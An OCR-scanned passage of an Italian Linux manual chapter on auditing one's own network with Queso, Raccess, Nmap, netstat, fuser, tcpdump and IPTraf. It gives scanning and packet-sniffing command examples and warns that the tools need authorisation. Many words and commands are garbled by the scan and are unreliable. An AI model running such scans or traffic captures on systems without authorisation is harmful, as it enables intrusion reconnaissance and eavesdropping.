43.7 Verifica della vulnerabilitd della propria rete

«
Sono disponibili alcuni applicativi in grado di sondare uete, o
un elaboratore singolo, alla ricerca di informazioni e dblgemi
noti che possono consentire a un aggressore di compieesaddini
indesiderabili.

| programmi di questo tipo sono strumenti di aggressiondpraeo-
po dovrebbe essere quello di aiutare gli amministratoriexgmire
problemi nella sicurezza della rete di propria competeDzaonse-
guenza, tali programmi vanno utilizzati esclusivamentaiaosiste-
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mi che rientrano nella propria gestione, o per i quali & stéeEnuta
I'autorizzazione a farlo.

L'utilizzo di questo genere di programmi lascia normalneedel-
le tracce nel registro del sistema del nodo analizzatoap&rtque-
ste azioni potrebbero anche essere considerate unattstile e
scatenare la reazione degli amministratori rispettivi.
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43.7.1 Queso

Quesao}’ e un programma che cerca di determinarne il sistema ope-
rativo, attraverso l'invio di pacchetti TCP a una porta guajue di

un certo nodo, purché li ci sia qualcosa in ascolto. Teoricde) la
scelta della porta & indifferente, purché si tratti di unagp@resso

cui sia disponibile un servizio in ascolto; comunque, se viene
specificata si fa riferimento alla numero 80.

queso [ opzion] indirizzo_ipv{ / n] [ : porta]

L’indirizzo, se & seguito da una barra obliqua e da un nunmem,
presenta un gruppo di nodi da sondare, dove cio che segueréa ba
obliqua e la maschera di rete espressa come quantita di lnba u
da considerare nell'indirizzo. Se I'indirizzo & seguitodige punti e

un numero, si intende fare riferimento esplicito a una ceoida da
usare per le prove.

Queso ha la necessita di funzionare con i privilegi deltitee
‘root’.

Segue la descrizione di alcuni esempi:

® # queso 192.168. 1. 2[Invio]

Cerca di determinare con quale sistema operativo funzibna i
nodo 192.168.1.2.

® # queso 192.168. 1. 0/ 24 [Invio]

Cerca di determinare con quale sistema operativo funznan
nodi 192.168.1 .

*# queso 192.168. 1. 2: 111 [Invio]

Cerca di determinare con quale sistema operativo funzibna i
nodo 192.168.1.2, utilizzando per questo la porta 111.

Le informazioni in base alle quali € possibile individuarelk tipo
di sistema operativo si tratta, sono contenute nel file diigarazio-
ne, corrispondente ‘det ¢/ queso. conf’. Si comprende intuitiva-
mente come € organizzato questo file, osservando quantorgiac
ne; se si incontra un tipo di risposta imprevisto, si puo aggire
il file di configurazione con I'opzione w, andando poi a ritoccare
I'annotazione aggiunta con la descrizione del sistema, essmdi
conoscerlo:

*- Unknown OS @ 192.168. 1. 1: 80
1+11SA
00O0R

‘ 61 +11SA
L’esempio rappresenta cio che si puo ottenere in questiicasda
al file. E sufficiente modificare la prima riga, in un modo saral
quello seguente:

*- GNU Li nux, kernel 2.4.19
1+1 1 SA

000R
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43.7.2 Raccess
«
Raccess? ovvero Remote Access Session, € un programma mol-
to semplice per la scansione di un elaboratore o di una rete d
elaboratori, alla ricerca di problemi. Il suo utilizzo & rrwosemplice:

raccess [opzion] nodo

raccess [ opzion] -n indirizzo_ipv4 n

L’'uso normale di Raccess prevede di sondare un solo noddrenen
I'opzione ‘- n’ consente di indicare un indirizzo IPv4 seguito dalla
maschera di rete espressa come quantita di bit iniziali daidera-
re. Se Raccess si avvia con l'opziona’ si ottiene la verifica dei
servizi di rete disponibili, senza la ricerca di difetti sfiei insiti in
una certa versione di un certo servizio.

Segue la descrizione di alcuni esempi.

®*$ raccess 192.168. 1. 2[Invio]

Verifica le debolezze eventuali del nodo corrispondentandit
rizzo 192.168.1.2. Si ottiene I'elenco dei servizi che semb es-
sere disponibili, con le informazioni che questi fornisapimol-
tre viene offerta la possibilita di controllare la presedzearenze
specifiche éxploif).

®*$ raccess -n 192.168. 1. 1/ 24[Invio]

Esegue una scansione ricorsiva a partire dal nodo 192.168.1
per tutti gli indirizzi 192.168.% .

Il funzionamento di Raccess richiede comunque una formateli i
razione con l'utente; in particolare, al termine dell'asiatli ogni
nodo, viene chiesto se conservare o cancellare il rapperiergto.
Il file di questo rapporto viene creato eventualmente nettectbry
corrente, con un nome corrispondente all'indirizzo d&beratore
sondato. Per esempio, il fil@92. 168. 1. 2’ contiene le notizie rac-
colte a proposito del nodo che ha lo stesso indirizzo. Ecooecsi
puo presentare il contenuto di questo file:

--Service ssh Port 22 opened!!--
SSH- 1. 99- CpenSSH_3. 4p1 Debi an 1:3.4p1-2.1

--Service telnet Port 23 opened!!--
--Service sntp Port 25 opened!!--

220 roggen. brot.dg ESMIP Exi m 3. 35 #1 ..
“—Thu, 14 Nov 2002 15: 34:31 +0100

--Service ww Port 80 opened!!--
Server: Boa/0.94.11

--Service sunrpc Port

43.7.3 Nmap

111 opened!!--

«
Nmap® € un programma di scansione delle porte di uno o pit nodi
di rete, il quale mette a disposizione tecniche differeatigetermi-
nare se ci sono servizi disponibili e se ci sono firewall, 0 aom
gue altri sistemi che filtrano il passaggio delle comunigaziPer la
precisione, Nmap distingue tre situazioni:

1. porte a cui corrisponde un servizio che accetta la cororess

2. porte filtrate da qualcosa, per le quali non si puo deteareise
esista effettivamente un servizio disponibile;

3. porte inutilizzate, nel senso che non sono abbinate ashalc
servizio di rete, in modo certo.

Nmap si compone in pratica dell’eseguibilemap’, utilizzabile
secondo la sintassi generale seguente:

nmap [ metodo_di_scansior]e [ opzion] {nodq rete}
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In pratica, si puo specificare un metodo, o piu metodi di scans
ne; se non lo si fa, viene usato quello predefinito che coragdart
determinazione dei servizi disponibili, in base al fatte cjuesti ac-
cettano la connessione. Dopo altre opzioni particolarndicano
uno o piu gruppi di nodi, secondo varie possibilita. Per kecsio-
ne, un gruppo di indirizzi pud essere specificato attraviersume a
dominio:

nomeﬁaﬁdominiﬁ/ n]

In questo modo, si fa riferimento al nodo indicato per nomee s
appare anche una barra obliqua seguita da un numero iniéne, s
tende includere nella scansione tutti i nodi che rientranquiella
maschera di rete. Per esempio,diekel.brot.dgcorrispondesse al-
l'indirizzo 1Pv4 1.2.3.4, scriverédi nkel . br ot . dg/ 24’ significa
fare riferimento a tutti gli indirizzi 1.2.%.

Se si utilizzano indirizzi numerici € possibile avvalersadterischi
per indicarne un gruppo. Gli asterischi possono essereaatilin

qualunque posizione e, nel caso di indirizzi IPv4, rappres® qua-
lunque valore nell’ambito dell'ottetto. Naturalmente] daomento
che l'asterisco € utilizzato normalmente dalla shell pee féferi-

mento a nomi di file che si trovano nel file system, questo vieefim
in qualche modo.

Come accennato sono disponibili molti tipi diversi di metidcan-
sione, ma per poterli apprezzare occorre conoscere benesgari-
stiche dei protocolli TCP/IP. L'elenco seguente ne riggal@lcuni,
ma per una descrizione completa e dettagliata € necessggere
la pagina di manualemap(1)

Opzione di .
. Descrizione

scansione ] _ ]

_ss Esegue una scansione di tipo TCP SYN, corrispondente
a quella predefinita se I'utente oot .
Esegue una scansione «normale», attraverso la funzione

-sT connect()del sistema operativo, corrispondente a quel-
la predefinita se richiesta da un utente comune senza
privilegi.

-sF Scansione di tipo TCP FIN.

-sX Scansione nota comémas tree

-sN Scansione nota conidull scan

Scansione attraverso [l'invio di richieste di eco ICMP
-sP (ping); serve soltanto per determinare la presenza dei
nodi ipotizzati.

-suU Scansione alla ricerca di servizi UDP.

-s0 Scansione [P, per determinare quali protocolli IP spno
disponibili.

A Scansione TCP ACK, per determinare la presenza di un

firewall e delle sue caratteristiche generali.

Scansion&Vindow intesa come una variante del metddo

ottenuto con l'opzioné sA'.

Scansione RPC, da abbinare a un altro metodo di scan-

-sR sione, per determinare se le porte di servizi disponibili
corrispondono a servizi RPC.

-sW

Tra le opzioni che non servono a specificare dei metodi dissocaa
ce ne sono due di molto utili:

Opzione Descrizione
Cerca di determinare il sistema operatjvo
utilizzato nei nodi oggetto di indagine.
Limita il gruppo di porte che si voglionp
scandire. Il gruppo di porte puo essere |in-
-P gruppo_porte dicato come un elenco separato da virgole
o attraverso degli intervalli separati da un

trattino medio. _ _
Da maggiori dettagli sul lavoro che viene

svolto.

-0

Segue la descrizione di alcuni esempi.

®$ nmap vittima. brot.dg][Invio]

Sicurezza e controllo 1941

Esegue una scansione «normale» sul nodo corrispondente ¢

nomevittima.brot.dg

®*$ nmap ' 192. 168. . *’ [Invio]

Esegue una scansione «normale» su tutti i nodi della rete

192.168% .*x.
®# nmap -sU vittina. brot.dg[Invio]

Tenta di determinare le porte UDP abbinate a qualche servizi
presso il nodo specificato. Si osservi il fatto che si puo eisar
questa opzione solo in qualita di utenteot ’.

®# nmap -sS -sR vittima. brot.dg[Invio]

Tenta di determinare le porte TCP abbinate a servizi RPGpres
il nodo specificato, attraverso una prima scansione di tig® T
SYN.

®# nmap -sU -sR vittima. brot.dg[Invio]
Tenta di determinare le porte UDP abbinate a servizi RPGpres
il nodo specificato.

Eventualmente e disponibile anche un programma frontalBys®
di Nmap attraverso un'interfaccia grafica. Si trattardrapf e’ che
ha 'aspetto visibile nella figura successiva.

Figura 43.72. Nmap attraverso l'interfaccia grafica offeda
‘nmapfe’.

File View Help |
Target(s): [172.21.1.1 Scan Exit
I Discaver | Timing | Files | Options |
Scan Type Scanned Ports
Connect Scan =i Default = I
Relay Host Range

Scan Extensions

_ARPC Scan _{ldentd Info _jOS Detection  _f Version Probe

IStarting nmap 3.50 ( http://uwu,insecure.org/nnap/ ) at 2004-06-18 19:08 CEST

Interesting ports on 172,21,1,1 (172,21,1,1):

{The 1641 ports scanned but not shown below are in state: closed)
STATE SERVICE

9/tcp  open discard

13/tcp  open daytime

Rl/tcp open ftp

22/tcp  open ssh

03/tcp  open telnet

5/tcp  open  sntp

37/tcp  open  time

[53/tcp  open domain

80/tcp  open http

111/tcp open  rpchind

515/tcp open  printer

616/tcp  open  unknown

769/tcp open  vid

973/tcp open rsync

992/tcp  open  telnets

[996/tcp open xtreelic

[2049/tcp open nfs

5080/tcp open  http-proxy

Nnap run completed -- 1 IP address (1 host up) scanned in 0,873 seconds /

Command: [nmap -sT -PT 172.21.1.1

43.8 Strumenti per il controllo e I'analisi del traffico
P

«
L'analisi del traffico della rete, sia per mezzo dell'intettazione di
tutti i pacchetti che attraversano una rete fisica, sia pezmeel
controllo di cio che riguarda esclusivamente una singolerfiac-
cia di rete del nodo locale, € molto importante per comprende
problemi legati alla sicurezza e per scoprire inconvenidinvario
genere.

L'uso produttivo degli strumenti che vengono descritthrexlerebbe
una preparazione adeguata sulla composizione dei paiabbigito-

tocolli TCP/IP, diversamente si riesce solo a sfiorare lapremsio-

ne di quello che accade. Tuttavia, per quanto poco, un paatiga

con questi puo essere utile in ogni caso.
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. 43.8.1 Netstat Colonna Descrizione
Netsta®® & un programma specifico di GNU/Linux, in grado di mo- Local Address Rappresenta rispettivamente l'indirizzo fo-
strare in modo agevole alcune informazioni contenute wiéiéctory Forei gn Address ;’ﬂﬁeeg;ilgéft:?;?ég\?ampleto dellindica-
‘/ proc/ net/’. Le informazioni disponibili sono molte, anche trop- . B
pe, ma qui viene mostrato solo un uso limitato del progranmima, User gr:lci?r?ooéleﬁ:mpeégawgidiltltf;ﬁgteqﬁ.ﬁ}a
relazione ai protocolli TCP/IP. informazione con I’op.zione o 7
Le informazioni disponibili riguardano esclusivamentestara del Rappresenta lo stato della porta, indica-
nodo locale, comprese le connessioni che lo riguardano. to attraverso una parola chiave. Lo Sga-
- . T State to riguarda prevalentemente le connessio-
Netstat potrebbe essere utilizzato per fornire le stesseniazioni ni TCP, negli altri casi dovrebbe essere
che si possono ottenere gia daut e’, ‘i f confi g’ e in parte da assenté.
‘i ptabl es’. In generale, comunque, questo non dovrebbe essere i
suo uso normale, che qui non viene mostrato. Stato Descrizione
L'eseguibile'net st at * emette attraverso lo standard output una se- ESTABLI SHED La porta ha una connessione in corso.
rie di notizie riferite a tutti i tipi di connessione dispaili, traendo SYN SENT La porta sta tentando di instaurare una
le informazioni daii file virtuali della directory proc/ net/'. connessione.
SYN RECV E in corso l'inizializzazione della connes-
netstat [ opzion] FIN A TL ﬁlecl)np?drt_a & chiusa e la connessione & in
Se'net st at’ viene usato senza opzioni, mostra la situazione di tutti Egﬁ%ghggg%ﬁg'og%hiusa & Ta porta & in
i tipi di collegamento, elencando i socket aperti. Se trageiani FIN WAIT2 attesa della conferma dallaltra parte.
appare l'indicazione di uno o piu protocolli, le informaziache si TIME VAL T La porta € in attesa della conferma della
ottengono si limitano a quanto richiesto espressamente. conclusione della connessione.
\ Opzione Descrizione CLOSED La porta non € in uso.
. Richiede espressamente lo stato delle CLGSE WAI T La pqrte remot_a conclude la f:onne55| ne
. ed e in attesa di conferma dell’altra parte.
--tep connessioni TCP. La parte remota chiude Ta connessione ¢ la
LAST ACK porta e chiusa: si e in attesa della conferma
'“ Richiede espressamente lo stato dei socket finale. i i .
B che utilizzano il protocollo UDP. La porta & in ascolto in aftesa di connessio-
udp LI STEN ni in arrivo. Queste porte vengono indicate
inet o ] ] solo se si utilizza 'opzione- a’.
Richiede espressamente le informazioni Entrambe le porte stanno chiudendo| la
—-ip che riguardano I'uso dei protocolli TCP/IP. CLCSI NG connessione, mai dati non sono stati invjati
completamente.
e Richiede di aggiungere lindicazione Fisxl- UNKNOY N -
I'utente proprietario del processo relativo. Lo stato della porta & sconosciuto.
o Richiede di aggiungere I'indicazione dei
» Eﬁgﬁgg‘ rtitt(?é e porte utiizzate, ncluse A titolo di esempio viene mostrato come puo apparire una
quelle dei serventi in ascolto. connessione TELNET trdinkel.brot.dge roggen.brot.dg
o Mostra e informazioni in forma numerica: # netstat --tcp[Invio]
indirizzi IP, numeri di porta, numeri UID,

Active Internet connections (W o servers)

Segue la descrizione di alcuni esempi. Tem G G rogpen bror 451170 dl kel bt dastel net ESTABLI SHED
tcp 0 0 dinkel.brot.dg:tel net roggen.brot.dg: 1170 ESTABLI SHED
® # netstat --inet [Invio]
) ) n 43.8.2 Fuser
Emette I'elenco dei socket di dominio Internet, ovvero dutt «
le comunicazioni aperte tra i programmi attraverso i prolioc Fusef! e un programma specifico per sistemi GNU/Lirtéghe con-
TCP/IP. sente di individuare facilmente il processo elaborative leh aperto
4 netstat --inet -e[lnvio] un file, oppure una porta (TCP o UDP). Si utilizza attravefssed-
) ) o guibile‘f user’ e per individuare I'utilizzo di una porta TCP, si usa
Come nell'esempio precedente, aggiungendo l'indicazeegli I'opzione*-n tcp’, mentre per quanto riguarda porte UDP, si usa
utenti proprietari dei processi che attuano le connessioni l'opzione‘-n udp’. Lesempio seguente mostra il comando neces-
*# netstat --tcp -af[lnvio] sario a conoscere il numero identificativo del processo eheplerto
Mostra la situazione delle porte TCP, in particolare quede d la porta TCP 22:
servizi in ascolto. # fuser -n tcp 22[Invio]
Gli elenchi restituiti da Netstat sono composti in formaetiédore. Di 22/ tep: 598
seguito appare la descrizione dei nomi delle colonne ditgLeepoi Successivamente, conoscendo il numero UID del processo, co
dei vari tipi di stato. I'aiuto di ‘ps’, si puo scoprire chi e:
Colonna Descrizione # ps ax | grep " 589 " [Invio]
Rappresenta il protocollo utilizzato in oghni
Proto porta attiva. Puo trattarsi di cp’, ‘udp’ e 508 7 s 0: 00 /usr/shin/sshd
Egg’hresema la coda di byte che sono stati Naturalmente, & possibile avere informazioni pit dettdgli
Recv- Q ricevuti ma non ancora prelevati dal pro- direttamente attraversébuser’, con I'opzionée- v’:
gramma che utilizza la connessione, o che # fuser -v -n tcp 22[Invio]
Send-Q sono stati trasmessi ma per i quali non &
stata ricevuta conferma dal nodo remoto.
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PI D ACCESS COMVAND

22/ tcp: r oot 598 F.... sshd

43.8.3 Tcpdump

Tcpdump® e lo strumento fondamentale per I'analisi del traffico che
avviene nella rete fisica a cui si & collegati. Permette sa@tdnere
una visione sintetica dei pacchetti, sia di visualizzatnentenu-

to in esadecimale. Inoltre, & possibile definire un filtro atghet-

ti da prendere in considerazione. Purtroppo, il suo utliefficace
richiede un’ottima conoscenza dei protocolli TCP/IP.

| pacchetti vengono analizzati solo nella prima parte, rabnnen-

te di 68 byte, perdendo le informazioni successive. Evemitema-

te, questa dimensione pud essere aumentata, anche se na-gene
le cio & sconsigliabile dal momento che richiederebbe umptedi
elaborazione maggiore, portando anche alla perdita diediic

Tcpdump pud generare un risultato in esadecimale, oppude pu
emettere i pacchetti cosi come sono. Per poter interprit¢teoate-
nuto dei pacchetti, € necessario conoscere la loro stayftubase ai
protocolli relativi. A titolo di esempio, viene mostrato programma
Perl elementare, per filtrare i caratteri di controllo ASCII

‘ #0/ usr/ bi n/ perl

! $riga =~ tr/\x00-\x1F//;
$riga =~ tr/\x7F//;
$riga =~ tr/\xFF//;

‘ } print STDOUT ("$riga");
Supponendo che questo sia il programmial tro’, si pud spia-

re in modo molto banale cid che passa per la rete con il comandc
seguente:

‘ while ($riga = <STDIN>)

# tcpdunp -1 -i ethO -s 0 -w - | filtro/[lnvio]

La cosa diventa ancora piu semplice se si vuole utilizzapgat
grammast ri ngs’ che dovrebbe essere disponibile in tutti i sistemi
standard:

# tcpdunp -1 -i

ethO -s 0 -w - | strings[Invio]

Segue il modello sintattico per il suo utilizzo:
t cpdunp [ opzion] [ espression}e

Tabella 43.81. Alcune opzioni.
Significato mnemo
nico

Opzione Descrizione

Definisce T'interfaccia di rete at-
traverso cuit cpdunp’ deve por-
si in ascolto. Se non viene speci-
ficata, 't cpdunp’ sceglie la pri-
ma, ma potrebbe trattarsi anche
di‘l o’ (loopbach.
Filtra Toutput attraverso una me-
moria tampone, in modo da
gestire meglio i condotti.
Fa in modo di non convertire gfi
indirizzi numerici e i numeri d
porta nei nomi corrispondenti.
Permette di definire esplicita-
mente la quantita di byte
prendere in considerazione per
ogni pacchetto. In modo prede-
finito vengono trattati solo i pri
mi 68 byte. Quando la lunghezza
e troppo breve per dare informa-
zioni sufficienti, se viene identifi
cato almeno il tipo di protocoll
quello che si ottiene € una stringa
nella forma|[ | protocollq ’.

-i interfaccia | interface

- pipeline

-n numbers

-s n_byte split
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Significato mnemo

Opzione ;
nico

Descrizione

Memorizza i pacchetti grezzi al
I'interno di un file, invece di ana-
lizzarli ed emetterne il risultato.
Il contenuto di questo file pup
essere elaborato successivamente
con l'opzione'-r’.
Legge i pacchetti da quanto dc-
cumulato precedentemente in un
file attraverso I'opzione-w. In
pratica, permette di analizzare
guanto raccolto in precedenza.
Silimita a emettere i pacchetti in
forma esadecimale. Per la preci-
sione, viene emessa solo la parte
dei pacchetti che rientra nel limi
te fissato con 'opzioné s’, ov-
vero i primi 68 byte se questa n¢

e stata indicata. ]
Permette di fornire T'espressio-

ne di filtro dei pacchetti attra-
verso un file indicato con questa
opzione.

-w file write

-r file read

-

-X exa

=}

-F file filter

Segue la descrizione di alcuni esempi.

® # tcpdunp -i ethO[Invio]

Emette attraverso lo standard output tutto il traffico che pu
essere intercettato per mezzo dell'interfacetah0’.

®# tcpdunp -n -i ethO[lInvio]

Come nell’esempio precedente, ma le informazioni suglrizad
e sui numeri di porta vengono indicati in forma numerica.

®# tcpdunp -x -i ethO[lInvio]

Emette attraverso lo standard output il contenuto dellengri
parte dei pacchetti che possono essere intercettati pezomez
dellinterfaccia‘et h0’. Questi dati vengono espressi in forma
esadecimale.

L'utilizzo di Tcpdump non & molto utile se non viene definitofil-
tro a cio che si vuole analizzare. Per questo motivo, dop@éoi
normali della riga di comando pu0 essere indicata un’esjes,
pit 0 meno articolata: solo i pacchetti che soddisfano lalzone
espressa vengono presi in considerazione.

Questa espressione contiene spesso degli spazi: puo Essiea
Tcpdump in un argomento unico utilizzando dei delimitgtoppure
puo essere composta da pit argomenti in sequenza. Indttesea-

so l'opzione*- F € possibile fornire I'espressione contenuta in un
file; in tal caso, I'espressione puo essere scritta su phierigenza
bisogno di simboli di continuazione.

Le espressioni di Tcpdump sono composte da primitive chegos
no essere raggruppate per mezzo delle parentesi tonde ¢ia dao
evitare ambiguita nell'ordine di risoluzione) e conneskeagerso
operatori booleani:

un punto esclamativo o la parola chiav@ot’

not rappresenta la negazione logica;

&8 una doppia e-commerciale&&’) o la parola chiave
‘and’ rappresenta il concatenamento, ovvero un AND

and logico;

una doppia barra verticalg () o la parola chiavéor’
or rappresenta I'alternanza, ovvero un OR logico.

All'interno delle primitive possono apparire riferimeatdiversi tipi
di entita, che vengono descritte brevemente.

* Gli indirizzi di origine o di destinazione, riferiti al ptocollo
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meri IP. In particolare, & possibile fare riferimento a uotcrete

indicando il numero IP parziale.
« Le porte possono essere identificate per numero o per nome.

« Per identificare i protocolli si possono usare delle paatia-
ve precise; in particolareet her’, ‘fddi ’, ‘i p’, ‘arp’, ‘rarp’,

‘decnet’, ‘tcp’, ‘udp’.

Il protocollo identificato dalle parole chiave elencate i+

be essere intuitivo, almeno per i casi pit comuni (IP, ARP,
RARP, TCP e UDP). Le prime due parole chiave sono equiva-
lenti: ‘et her’ e‘f ddi ' rappresentano semplicemente il secondo

livello, collegamento dati, del modello ISO-OSI.

Primitiva

Descrizione

dst host nodo

src host nodo

host nodo

Se viene usata la parp
la chiave'‘dst’, si avve-
ra se il campo della de
stinazione IP corrisponde
al nodo indicato; se vie-
ne usata la parola chia
ve ‘src’, Si avvera S€
il campo dell'origine IP
corrisponde al nodo indi-
cato; altrimenti, in man
canza di tali parole chig
ve, si avvera se il no-
do corrisponde indifferen-
temente all’'origine o allg
destinazione.

et her dst nodo_ethernet
et her src nodo_ethernet

et her host nodo_ethernet

Definisce un indirizzag
Ethernet numerico o derj-
vato dal contenuto del file
‘/etc/ethers’. Come
si puo intuire, nel primg
caso si fa riferiment
a una destinazione, ne
secondo a un’origine, nel
terzo non si fa differenza

gat eway nodo

Si avvera nel caso i pa¢-
chetti utilizzino il nodo
indicato come gateway
ovvero, quando [l'indiriz-
zo Ethernet dell’origine

della destinazione non ap-
partiene né all'indirizzo IR
dell’origine, né a quellg
della destinazione.

dst net rete

src net rete

net rete

Se viene usata la paro
la chiave'dst ’, si avvera
se il campo della desting
zione IP appartiene allare
te indicata; se viene usa-
ta la parola chiavesrc’,
si avvera se il campo del
I'origine IP appartiene al-
la rete indicata; altrimen-
ti, in mancanza di tali pa-
role chiave, si avvera se
la rete corrisponde indif-
ferentemente all’'origine o
alla destinazione.
La rete puo essere indica-
ta con un numero IP in-
completo, oppure attraver-
so l'aggiunta di una ma-
schera di rete. Per cui,
la sintassi potrebbe essere
estesa come nel modello
SucCessivo.
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Primitiva Descrizione
dst net {rete -
| indirizzo_ip mask maschera_ip ;-
= indirizzo_ip/ Iunghezzaﬁmasche}a In t,al caso, la maS(_:hE,'
ra di rete puo essere indi-
src net {rete . cata attraverso un numero
=] indirizzo_ip mask maschera_ip . - IP COFHSPOHdeme,_ oppure
=] indirizzo_ip/ Iunghezza_masche}a attraverso la quam'_ta_d_| bit
a uno nella parte iniziale
net {rete o di tale maschera.
| indirizzo_ip mask maschera_ip (-
=] indirizzo_ip/ Iunghezzaﬁmasche}a
Definisce una porta TC
dst port porta

port

src port porta

porta

o UDP, trattandosi rispe
tivamente di un’origine, d
una destinazione, o di en-
trambe le cose indifferen
temente.

| ess lunghezza ;-
‘—>| len <= lunghezza
great her lunghezza ;-

‘—>| | en >= lunghezza

Si avvera se la dimensio
del pacchetto € inferior|
0 uguale, oppure maggi

re o uguale alla quantita Ti

® o

byte indicata.

et her proto protocollo

Definisce la selezione
un protocollo Ethernet at-
traverso un numero oppu-
re un nome:ip’, ‘arp’,
‘rar p’. Dal momento ch
questi nomi sono anche
parole chiave per Tcp-
dump, vanno indicati faj
cendoli precedere da una
barra obliqua inversa\(’)
(cio tenendo conto anche
del tipo di shell utilizzato
nel caso della shell Bash
e di altre, occorre rad-
doppiare la barra obliqu
inversa).

ip proto protocollo

Definisce la selezione di
un protocollo [P attra
Verso un numero, oppure
un nome:i cnp’, ‘i grp’,

‘udp’, ‘nd’, ‘tcp’. Tutta-
via, i nomi ‘i cnp’, ‘tcp’

e‘udp’ vanno precedutid
una barra obliqua inverg
(\'") per evitare che ven-
gano interpretati in modp
speciale da Tcpdump.

Qo P

[ et her] br oadcast

Si avvera se il pacchetto
di tipo Ethernet broadcas

- o

ip broadcast

Si avvera per un pacchetto
IP broadcast.

[ et her] mul ti cast

o

Si avvera se il pacchetto
di tipo Ethernet multicast

ip nulticast

Si avvera per un pacchetto
IP multicast.

Segue la descrizione di alcuni esempi.

® # tcpdunp host dinkel . brot.dg][Invio]

Individua ed emette tutto il traffico riferito dinkel.brot.dg

® # tcpdunp host dinkel.brot.dg and host roggen. brot. dg][Invio]

Individua ed emette tutto il traffico riferito simultaneante a
dinkel.brot.dge aroggen.brot.dgln pratica si limita a estrarre
il traffico tra questi due nodi.

® # tcpdunp
o

host dinkel . brot.dg and \ (host roggen.brot.dg -
or host weizen. brot.dg\) [Invio]

Individua esclusivamente il traffico intrattenuto wiénkel.brot.
dg e roggen.brot.dgoppure tradinkel.brot.dge weizen.brot.dg
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Le parentesi tonde sono state protette attraverso la balicjua
inversa per evitare una diversa interpretazione da palteeshe|l.

® # tcpdunp host dinkel.brot.dg -
b and not host roggen. brot. dg][Invio]

Analizza tutto il traffico intrattenuto ddinkel.brot.dge tutti gli
altri nodi, a esclusione dbggen.brot.dg

® # tcpdunp gateway router. brot.dg][Invio]

Analizza tutto il traffico che attraversa il nodwuter.brot.dg
senza essere diretto, o provenire da quello.

43.8.4 |PTrof

IPTraf* & un programma di servizio per I'analisi del traffico IPv4 (in

parte anche di quello non IP) che transita attraverso lafigta a
cui ci si trova connessi. IPTraf € specializzato nel traveiato delle
connessioni e nella produzione di statistiche, senza addsimella
lettura del contenuto dei pacchetti.

IPTraf € fondamentalmente un programma interattivo chiezzei
una console virtuale o un terminale a caratteri, organizatitaverso
dei menu. La figura 43.84 mostra il menu generale di IPTraf.

Figura 43.84. Menu generale di IPTraf.

IPtraffic nonitor |
General interface statistics |
Detailed interface statistics |
TCP/ UDP servi ce nonitor |
Et hernet station nonitor |
TCP display filters |
Gt her protocol filters |
Options |
Exit |

IPTraf puo essere configurato attraverso la funzi@péonsche ap-
pare nel menu generale. Inoltre, puo annotare le informazol
traffico all'interno di un registro. Il file di configuraziore quello
delle registrazioni vengono creati all'interno della diey ‘/ var /
l'ib/iptraf/’,laquale deve essere presente.

Perché possa essere analizzato tutto il traffico della @raopte
fisica, € necessario che sia abilitata la modalita promiscua

Qui vengono descritti solo alcuni aspetti di IPTraf. Peesto si puo
consultare la documentazione che accompagna questo progra

Tabella 43.85. IPTraf funziona fondamentalmente in mode-in
rattivo, tuttavia puo essere avviato con delle opzioni idmda
raggiungere immediatamente la funzione desiderata.

Sintassi di avvio Descrizione
Avviando'i pt r af ' senza opzioni si ottie-
iptraf ne il menu dal quale scegliere il tipo di

funzione desiderata. i )
Con Topzione'-i’ si ottiene immediata-

mente la selezione della funzioffe traffic

tptraf -i monitor, ovvero il monitor del traffico IP in
tempo reale.
Con l'opzione*- g’ si ottiene immediata-
iptraf -g mente la selezione della funzior@ene-

ral interface statisticovvero le statistiche
generali delle interfacce presenti.

Con l'opzione'- d’ e I'aggiunta dell'indi-
cazione di un’interfaccia di rete, si ottiene
iptraf -d interfaccia immediatamente la selezione della funzio-
ne Detailed interface statistic®vvero le
statistiche dettagliate di quell'interfaccial.
Con Topzione‘-s’ e l'aggiunta dell'in-
dicazione di un’interfaccia di rete, si ot-
tiene immediatamente la selezione della
funzione TCP/UDP service monitppvve-
ro il monitor dei servizi TCP e UDP di
quell'interfaccia.

iptraf -s interfaccia
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Sintassi di avvio Descrizione
Con l'opzione*- e’ si ottiene immediata-
mente la selezione della funziorigther-
iptraf -e net station monitgr ovvero il monitor
delle stazioni Ethernet (riguarda solo |le
interfacce Ethernet).

La configurazione di IPTraf puo essere definita a livelli efiéinti:

la configurazione generale e quella che riguarda i filtri déze-
ne dei pacchetti da elaborare. La configurazione generakfie d
nibile attraverso la funzion®ptionsdel menu generale, da cui si
accede a quanto si vede nella figura 43.86, che rappresectia an
I'impostazione predefinita.

Figura 43.86. Definizione delle opzioni generali di IPTraf.

R L R LT P P .. Enabled Options ----------- .
| Reverse DNS | ookups || |
| Proniscuous operation || |
| Col or || Color |
| Logging I |
| TCP tinmeout... | |
| Logging interval... || TCP tineout: 15 nins |
| Additional port... || Log interval: 60 mins |
| Delete port... [ '
| Exit menu |

Le opzioni si attivano e si disattivano premendo il tashovio];
guando una voce é terminata da tre punti di sospensione’},
selezionandola si ottiene una finestra a scomparsa atalzequa-
le fornire altre indicazioni. Lo stato delle opzioni € indio dalla
finestra destraEnabled Options
Opzione di configurazioneDescrizione
Se attivata, fa in modo di risolvere gli indi-
rizzi IP in nomi a dominio corrispondenti.
L'attivazione di questa modalita pud prp-
Reverse DNS | ookups vocare dei ritardi nel funzionamento di IP-
Traf, per cui & consigliabile limitarne I'u-
so. Questa opzione e disattivata in modo
predefinito.
La modalita promiscua consente a IPTraf
si analizzare tutto il traffico della rete fi-
Prom scuous operation | sjca, non solo quello che interferisce con
il nodo in cui si utilizza. Questa opzione &
disattivata in modo predefinito.
IPTraf € in grado di determinare automa-
ticamente se il tipo di terminale utilizza-
to consente la visualizzazione dei colorj o
meno. Tuttavia, & possibile disabilitare|la
visualizzazione dei colori attraverso questa
opzione.
IPTraf pu6 annotare le informazioni su
traffico all'interno di un file di registra-
zioni, precisamentg var /1 i b/ i ptraf/
Loggi ng i ptraf.log’. Questa opzione e disabili-
tata in modo predefinito dal momento che
il registro puo diventare rapidamente mojto
grande.

Col or

La funzionalita di controllo del traffico IP rappresentétiliazo pit
comune di IPTraf. Selezionando la voce corrispondente aaium
generale, oppure avviandopt r af ' con I'opzione'-i’, si ottiene
qualcosa di simile a quanto mostrato nella figura 43.88, dove
particolare appare anche lo stato di una connessione TEURET
192.168.1.1 e 192.168.1.2.
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Figura 43.88. Monitor di traffico IP con una connessione
TELNET attiva.

. Source --------eo-aan Destination ----------- Packets --- Bytes Flags |face .
|/192.168. 1. 2: 1050 192.168.1.1:23 40 1701 --A- etho
[1192.168.1.1: 23 192. 168. 1. 2: 1050 31 1435 - PA- etho

ARP from 0000b46507ch to ffffffffffff on etho
